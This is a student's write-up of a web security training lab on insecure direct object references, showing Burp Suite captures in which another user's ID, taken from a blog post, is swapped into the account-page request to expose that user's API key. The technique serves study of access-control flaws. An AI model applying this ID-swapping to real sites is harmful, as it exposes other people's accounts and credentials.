

Lab 7 - User ID controlled by request parameter, with unpredictable user IDs

Ahmed Khaled Saad Ali

ID:1809799

Lab Progress & Screenshots:

Logged in as wiener.

WebSecurity Academy

User ID controlled by request parameter, with unpredictable user IDs

LAB Not solved

Submit solution Back to lab description »

[Home](#) | [My account](#) | [Log out](#)

My Account

Your username is: wiener
Your API Key is: aOGs6Ne32TeO5rHgemR8nry2h2zGYPfl

Email

Update email

We found out carlos has written a blog, so we turn Intercept ON and see what we get in request.



The Digital Fairytale

[carlos](#) | 28 February 2023

Once upon a time'

We find carlos's userId.

The screenshot shows the Burp Suite interface with the 'Intercept' tab selected. A request to `https://0aa400f404c71efdc477e1b90055009a.web-security-academy.net:443` is being intercepted. The 'Intercept is on' button is highlighted. Below the request details, the 'Raw' tab is selected, displaying the raw HTTP request. The request is a GET to `/blogs?userId=986f1025-54a9-4243-b64f-af313d6694c9`. The headers include Host, Cookie (session=HuZQ9aVy9Hoy7P9iUdeduVUX7sLLkMB8), Sec-Ch-Ua, Sec-Ch-Ua-Mobile, Sec-Ch-Ua-Platform, Upgrade-Insecure-Requests, User-Agent, Accept, Sec-Fetch-Site, Sec-Fetch-Mode, Sec-Fetch-User, Sec-Fetch-Dest, Referer, Accept-Encoding, and Accept-Language.

```
1 GET /blogs?userId=986f1025-54a9-4243-b64f-af313d6694c9 HTTP/2
2 Host: 0aa400f404c71efdc477e1b90055009a.web-security-academy.net
3 Cookie: session=HuZQ9aVy9Hoy7P9iUdeduVUX7sLLkMB8
4 Sec-Ch-Ua: "Chromium";v="111", "Not (A:Brand";v="8"
5 Sec-Ch-Ua-Mobile: ?0
6 Sec-Ch-Ua-Platform: "Windows"
7 Upgrade-Insecure-Requests: 1
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gec
9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
10 Sec-Fetch-Site: same-origin
11 Sec-Fetch-Mode: navigate
12 Sec-Fetch-User: ?1
13 Sec-Fetch-Dest: document
14 Referer: https://0aa400f404c71efdc477e1b90055009a.web-security-academy.net/post?postId=3
15 Accept-Encoding: gzip, deflate
16 Accept-Language: en-US,en;q=0.9
17
```

so we copy it and go to wiener's account page to replace it with wiener's userId.

The screenshot shows the Burp Suite interface with the 'Intercept' tab selected. A request to `https://0aa400f404c71efdc477e1b90055009a.web-security-academy.net:4` is being intercepted. The 'Intercept is on' button is highlighted. Below the request details, the 'Raw' tab is selected, displaying the raw HTTP request. The request is a GET to `/my-account?id=2a635418-8624-4cf0-b9cf-8f78dd733e51`. The headers include Host, Cookie (session=HuZQ9aVy9Hoy7P9iUdeduVUX7sLLkMB8), Sec-Ch-Ua, Sec-Ch-Ua-Mobile, Sec-Ch-Ua-Platform, Upgrade-Insecure-Requests, User-Agent, Accept, Sec-Fetch-Site, Sec-Fetch-Mode, Sec-Fetch-User, Sec-Fetch-Dest, Referer, Accept-Encoding, and Accept-Language.

```
1 GET /my-account?id=2a635418-8624-4cf0-b9cf-8f78dd733e51 HTTP/2
2 Host: 0aa400f404c71efdc477e1b90055009a.web-security-academy.net
3 Cookie: session=HuZQ9aVy9Hoy7P9iUdeduVUX7sLLkMB8
4 Sec-Ch-Ua: "Chromium";v="111", "Not (A:Brand";v="8"
5 Sec-Ch-Ua-Mobile: ?0
6 Sec-Ch-Ua-Platform: "Windows"
7 Upgrade-Insecure-Requests: 1
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit
9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,ima
10 Sec-Fetch-Site: same-origin
11 Sec-Fetch-Mode: navigate
12 Sec-Fetch-User: ?1
13 Sec-Fetch-Dest: document
14 Referer: https://0aa400f404c71efdc477e1b90055009a.web-security-ac
15 Accept-Encoding: gzip, deflate
16 Accept-Language: en-US,en;q=0.9
17
```

Intercept

HTTP history

WebSockets history

Proxy settings

Request to https://0aa400f404c71efdc477e1b90055009a.web-security-academy.net:4

Forward

Drop

Intercept is on

Action

Open

Pretty

Raw

Hex

1

GET /my-account?id=986f1025-54a9-4243-b64f-af313d6694c9 HTTP/2

2

Host: 0aa400f404c71efdc477e1b90055009a.web-security-academy.net

3

Cookie: session=HuZQ9aVy9Hoy7P9iUdeduVUX7sLLkMB8

4

Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"

5

Sec-Ch-Ua-Mobile: ?0

6

Sec-Ch-Ua-Platform: "Windows"

7

Upgrade-Insecure-Requests: 1

8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit

9

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image

10

Sec-Fetch-Site: same-origin

11

Sec-Fetch-Mode: navigate

12

Sec-Fetch-User: ?1

13

Sec-Fetch-Dest: document

14

Referer: https://0aa400f404c71efdc477e1b90055009a.web-security-ac

15

Accept-Encoding: gzip, deflate

16

Accept-Language: en-US,en;q=0.9

Carlos's account page accessed, API Key copied, lab solved.

WebSecurity Academy

User ID controlled by request parameter, with unpredictable user IDs

LAB Not solved

Submit solution

Back to lab description >>

Home

My account

Log out

My Account

Your username is: carlos

Your API Key is: 1EOOtOJONuiPHCDdYtBJ4dGgpX1ZjF8e

Email

Update email

Congratulations, you solved the lab!

[Share your skills!](#)

[Continue learning >>](#)

[Home](#) | [My account](#) | [Log out](#)

My Account

Your username is: wiener

Your API Key is: aOGs6Ne3ZTeO5rHgemR8nry2h2zGYPl

Email

[Update email](#)

Lessons:

- 1) Make sure that when a user clicks to view another user they don't send identifiers to that user in requests.
- 2) Don't simply include identifiers of a user in when he sends a request.